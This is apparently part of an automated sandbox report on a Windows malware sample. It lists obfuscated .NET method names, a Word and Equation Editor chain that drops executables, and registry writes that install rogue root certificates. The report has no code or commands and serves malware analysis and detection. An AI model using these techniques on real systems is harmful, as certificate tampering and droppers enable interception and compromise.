Source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, FMNSgKjiBI0GqqBPyE.cs High entropy of concatenated method names: 'Dispose', 'Yelp3ptOiC', 'wfU6hkDkoj', 'ICdTTuDWyR', 'xTgpiRkZ6q', 'GijpzoBDnR', 'ProcessDialogKey', 'h306ltFFNc', 'kC96pw2GeY', 'wZw663Bq1m'
Source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, VF3gsb4AyHhvKmAXXL.cs High entropy of concatenated method names: 'kQ7jtWUk5H', 'DcwjVuHGuf', 'TSMjk1eh5B', 'JbrjoOka2A', 'S9ajTCpwVU', 'G5YjyBkQ7N', 'fxQjs4hqny', 'pJgj2ENsdQ', 'Q7Bj3PAsxd', 'parjiOTdjP'
Source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, nW3sEsBesrd65eePGN.cs High entropy of concatenated method names: 'Q8dAWROUoP', 'E1XAInIrD1', 'm7oAjjBvEo', 'jD1ARx19N2', 'hpVAgt3rQg', 'gZcAMoyKTn', 'OVTAPf31Wg', 'gF0ABNf9Iu', 'wrSADHabtU', 'tPfAQrXbPs'
Source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, q0oPAczaM2AlECiIlp.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'U6naUPceOL', 'i8xaK8buAo', 'uURa88pl01', 's3eaFF4lyn', 'mBkad6c3dK', 'XOMaaQB4rk', 'xDuaCwOPA6'
Source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, UubkCypA6UxGGlIjJaS.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'KoBCtU38j1', 'bcfCVygkhX', 'R08Ck6muVE', 'yBFCoJwERI', 'uOSCTMd6Zc', 'PdSCy8uWVu', 'MldCsVmK11'
Source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, PS1QYGfvWduZHVD3VT.cs High entropy of concatenated method names: 'alypPF3gsb', 'cyHpBhvKmA', 'udppQGIUSw', 'KvSpLndPID', 'F2DpKWW8Kp', 'qwXp8m2Ucf', 'KiQ8bdbf5g1EPU1Xki', 'A4oar711htTpPq2S4r', 'Q8jppFU7f1', 'ExIpALIFas'
Source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, yxy520tCOSSyhHgTUP.cs High entropy of concatenated method names: 'SoIKwRkTVl', 'hA5KXkLYqH', 'RJCKtUXhsi', 'sUxKVTtyYC', 'rNHKhjfsqD', 'd70KbI9ylM', 'jAlKHMh6S9', 'TPYKNltbGE', 'udnKcGbIHy', 'b2fKrhcID4'
Source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, i6hDKhuOFikgkptYVR.cs High entropy of concatenated method names: 'rVVPmqi69N', 'NR6PGH5C9m', 'rLHPZMi9TT', 'bZEPvxJqap', 'XxEPYBN12N', 'HNRPq6PKxW', 'ScdPnARZtT', 'CfjP4G2ZNn', 'rYIP7N6qab', 'cFvPOXxo94'
Source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, HUU0lO6rFnmxGghwkw.cs High entropy of concatenated method names: 'JNsZVbgKZ', 'hiTvLYXRm', 'uoYq03sAg', 'YVUnvPFHM', 'dWF7McE9h', 'nt8OGpyxu', 'vuN8429X7BAgsoh5dW', 'mURjx9tTBQRQyhjRN6', 'CindrTXgt', 'NGsCnq6Uc'
Source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, wtFFNc3BC9w2GeYJZw.cs High entropy of concatenated method names: 'h9AdeYDZoU', 'ymhdh7brKY', 'X4udbxiSui', 'DJxdHsmYER', 'FFndtYAYnY', 'r4hdNSg0cm', 'Next', 'Next', 'Next', 'NextBytes'
Source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, pKpdwXem2UcftDnZyy.cs High entropy of concatenated method names: 'CjiMW4YWE9', 'E2tMjfQxrn', 'o4PMgXBHdJ', 'ELeMPJhuKJ', 'IdvMBROhcy', 'GqNgTIy2O0', 'ecggyK1H8V', 'c5HgsI1JeA', 'kyGg29HsT1', 'YHBg3PpiDA'
Source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, UgRkZ62qeijoBDnRg3.cs High entropy of concatenated method names: 'QYCdIZLXAw', 'EPfdjFxx9X', 'Hy8dR74KsC', 'IpvdgFQfSW', 'n9DdMY1EC4', 'Ld4dP0u3kf', 'P78dBgduJ5', 'wpQdDZvjiG', 'rvGdQ2fj3H', 'OptdL0W7Gb'
Source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, SMpCmI9EORh017fyt8.cs High entropy of concatenated method names: 'qHgU4612XJ', 'IdOU75WmpW', 'xHGUe7qLea', 'DXOUhKYGpV', 'FPTUHia0Ke', 'hK3UNZZTu7', 'DsJUrH3Yl5', 'iAZUEbyyIp', 'V3FUwD7Nsq', 'SfRUxApFUm'
Source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, l9arAZplXQNfZvfcDbW.cs High entropy of concatenated method names: 'l8yamo2ja9', 'fIQaGiSbWZ', 'iTMaZ4uVrX', 'X5aavJG3fF', 'fP3aYO2Dik', 'mY3aq0cMOk', 'nNaanfwKQF', 'IhGa4EJLYY', 'B4La7dN4oQ', 'db8aOrBNLH'
Source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, JonEZ17dpGIUSwcvSn.cs High entropy of concatenated method names: 'zW0RvEqsoX', 'I6gRqpZTm5', 'e09R4QYYeO', 'dJ5R7Zv1Zf', 'KfkRK4n25A', 'wM6R8YeJc9', 'IrpRFRkb5W', 'RdGRdxLZGM', 'gPgRaTCpMG', 'LhbRCTVh3d'
Source: 5.2.cdlpohalgate39567.exe.3f60ce8.4.raw.unpack, YBq1mCiwEAnc0RFD2k.cs High entropy of concatenated method names: 'lgRapjRQTY', 'V3jaAJUHJF', 'xdUafJLYTE', 'PsHaI4RFmZ', 'rYKajmIhYd', 'udCagC8N8N', 'hpfaMg8TbL', 'L6Mdsw2GmY', 'lSNd2ifFsy', 'PqPd38THMd'

Persistence and Installation Behavior
barindex
Installs new ROOT certificates
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Drops PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\pgTQ4mfZBbJhpdd[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Jump to dropped file
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT Jump to behavior
Stores large binary data to the registry
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\cdlpohalgate39567.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
